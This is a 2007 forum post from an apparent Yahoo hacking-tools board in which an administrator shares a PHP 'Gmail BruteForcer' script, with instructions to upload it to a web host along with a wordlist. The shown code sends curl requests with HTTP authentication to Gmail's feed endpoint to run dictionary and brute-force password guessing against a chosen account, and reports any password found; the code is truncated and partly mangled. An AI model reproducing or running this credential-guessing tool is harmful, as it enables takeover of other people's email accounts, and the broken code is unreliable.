,,`, W€(v)€ | €€| |أ ,`

Share and download latest booters , room tools , id creators, voice tools, chat clients & lot more exciting stuffs of Yahoo! You call also share your hacking tips out here & I'll add a Forum for ID trading soon.
HomeHome  PortalPortal  CalendarCalendar  FAQFAQ  SearchSearch  RegisterRegister  MemberlistMemberlist  UsergroupsUsergroups  Log in  

Share | 

 Gmail BruteForcer

Go down 
Admin j3ff
Admin j3ff

Number of posts : 50
Registration date : 2007-06-06

PostSubject: Gmail BruteForcer   Sat Jun 09, 2007 1:38 am


Save the code as gmail.php and upload it to a host/webserver that supports PHP, then upload your wordlist! (remember to state where your wordlist is on the webserver/host in these lines:

$dic ="your Dictionary file here.txt";


Then go to your file via web browser




# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #

$dic ="your Dictionary file here.txt";


echo "
<title>Gmail Brute Force Attacker</title>
body {

font:Verdana, Arial, Helvetica, sans-serif;
.raster_table {
.alert {

Gmail Brute Force Attacker


Username to brute:


<input> - <input>




// Sets variables and retrives google error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
$username = $_POST['username'];
$headers = array(
"Host: mail.google.com",
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv: Gecko/20060508 Firefox/",
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
"Accept-Language: en-us,en;q=0.5",
"Accept-Encoding: text", # No gzip, it only clutters your code!
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Date: ".date(DATE_RFC822)
$c = curl_init('https://mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$wrong = curl_exec($c); // Get it
curl_close($c); // Close the curl stream

//Dictionary Attack
if($_POST['attack'] == "dictionary") {
$Dictionary = file("$dic");
for ($Position = 0; $Position < count($Dictionary); $Position++) {
$Dictionary[$Position] = str_replace("\r\n", "", $Dictionary[$Position]);
if(check_correct($username, $Dictionary[$Position])) {

Found the password of: ".$Dictionary[$Position]."
For the account: ".$username."

echo "

Sorry... a password was not found for the account of ".$username." during the dictionary attack.


//Brute Attack
elseif($_POST['attack'] == "brute") {
for ($Pass = 0; $Pass
Back to top Go down
View user profile http://spacetools.realbb.net
Gmail BruteForcer
Back to top 
Page 1 of 1
 Similar topics
» How to automated gmail to send email by using Selenium?
» Best Softswitch (VPS2.745 and 2.998 for only $200 Complete M
» How to read mails in inbox using Selenium IDE?
» How to locate message in inbox of Gmail in Selenium RC
» How to switch to Gmail body with new Gmail UI to pass the mesage?

Permissions in this forum:You cannot reply to topics in this forum
,,`, W€(v)€ | €€| |أ ,` :: yahoo tips and tutorials-
Jump to: